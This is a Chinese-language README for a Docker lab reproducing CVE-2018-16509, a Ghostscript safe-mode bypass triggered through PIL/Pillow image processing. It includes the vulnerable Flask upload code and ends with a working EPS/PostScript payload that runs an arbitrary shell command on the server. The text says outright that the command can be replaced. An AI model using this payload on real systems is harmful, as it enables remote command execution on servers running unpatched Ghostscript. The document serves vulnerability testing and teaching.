灵感来源于 https://github.com/ysrc/PIL-RCE-By-GhostButt(PIL/Pillow RCE via CVE-2017-8291)。这个 Docker 环境使用的是较新版本的 Ghostscript (v9.23) 和较新的漏洞利用 (CVE-2018-16509)。
Ghostscript 是一套基于 Adobe Systems PostScript 和 Portable Document Format (PDF) 页面描述语言解释器的软件。奇怪的是,Ghostscript 会存在于生产服务器中(例如 /usr/local/bin/gs),即使没有应用程序直接使用它,因为 Ghostscript 是作为其他软件(例如 ImageMagick)的依赖项安装的。Ghostscript 中发现了大量漏洞;其中之一是 CVE-2018-16509(由 Google Project Zero 的 Tavis Ormandy 发现),该漏洞允许在 Ghostscript v9.24 之前通过处理失败的恢复操作(grestore)绕过 -dSAFER 安全模式,从而在 PostScript 中禁用 LockSafetyParams 并避免 invalidaccess,进而执行任意命令。该漏洞可通过诸如 ImageMagick 或带有 Ghostscript 包装器的编程语言图像库(本示例中的 PIL/Pillow)等库进行利用。
为了测试和概念验证,我们可以在 Docker 环境中尝试该漏洞利用。
在 Ubuntu 上安装 Docker/Docker-Compose:
# 安装 pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
# 安装最新版 Docker
curl -s https://get.docker.com/ | sh
# 启动 Docker 服务
service docker start
# 安装 Docker Compose
pip install docker-compose
其他操作系统的 Docker 和 Docker-Compose 安装步骤可能略有不同,详情请参考 Docker 文档。
# 克隆仓库
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# 进入仓库目录
cd PIL-RCE-Ghostscript-CVE-2018-16509
# 编译环境
docker-compose build
# 运行环境
docker-compose up -d
存在漏洞的 Flask 应用可通过 http://127.0.0.1:8000 访问。测试结束后可以停止环境。
docker-compose down -v
你可以上传 rce.jpg(一个特制的 EPS 图像,并非真正的 JPG 文件)来在服务器上执行 touch /tmp/got_rce。作为证明,你可以执行 docker exec [CONTAINER_ID] ls -alt /tmp。要获取 CONTAINER_ID,可以使用 docker container ls 查看。如果想更改 shell 执行的其他命令,可以直接在 rce.jpg 中修改 touch /tmp/got_rce。
你可以参考 Tavis Ormandy 在 oss-security 上对漏洞的说明。
你可以查看 PIL/Pillow 中 Ghostscript 包装器的源代码:EPSImagePlugin.py。
以下是 app.py 中的漏洞代码:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
上传文件的内容会被 img = Image.open(img_path) 加载。PIL 会自动检测该图像是否为 EPS 图像(例如:在文件开头添加 %!PS-Adobe-3.0 EPSF-3.0),并调用 EPSImagePlugin.py 中 EpsImageFile 类的 _open() 方法。为了避免 raise IOError("cannot determine EPS bounding box"),需要在文件中添加一个边界框(例如:%%BoundingBox: -0 -0 100 100)。
EPS 图像的主体部分将由 Ghostscript 二进制文件通过 subprocess 处理,如 EPSImagePlugin.py 中的 Ghostscript 函数所示。
# Build Ghostscript command
command = ["gs",
"-q", # 静默模式
"-g%dx%d" % size, # 设置输出几何尺寸(像素)
"-r%fx%f" % res, # 设置输入 DPI(每英寸点数)
"-dBATCH", # 处理完成后退出
"-dNOPAUSE", # 页面之间不暂停
"-dSAFER", # 安全模式
"-sDEVICE=ppmraw", # ppm 驱动
"-sOutputFile=%s" % outfile, # 输出文件
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# 调整图像原点
"-f", infile, # 输入文件
"-c", "showpage", # showpage(参见:https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
以上代码在 Image.py 中调用 load 时执行,因此仅打开图像不会触发漏洞。像 resize、crop、rotate 和 save 这样的函数会调用 load 并触发该漏洞。
结合 Tavis Ormandy 的 POC,我们可以制作 rce.jpg 用于远程 shell 命令执行。
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops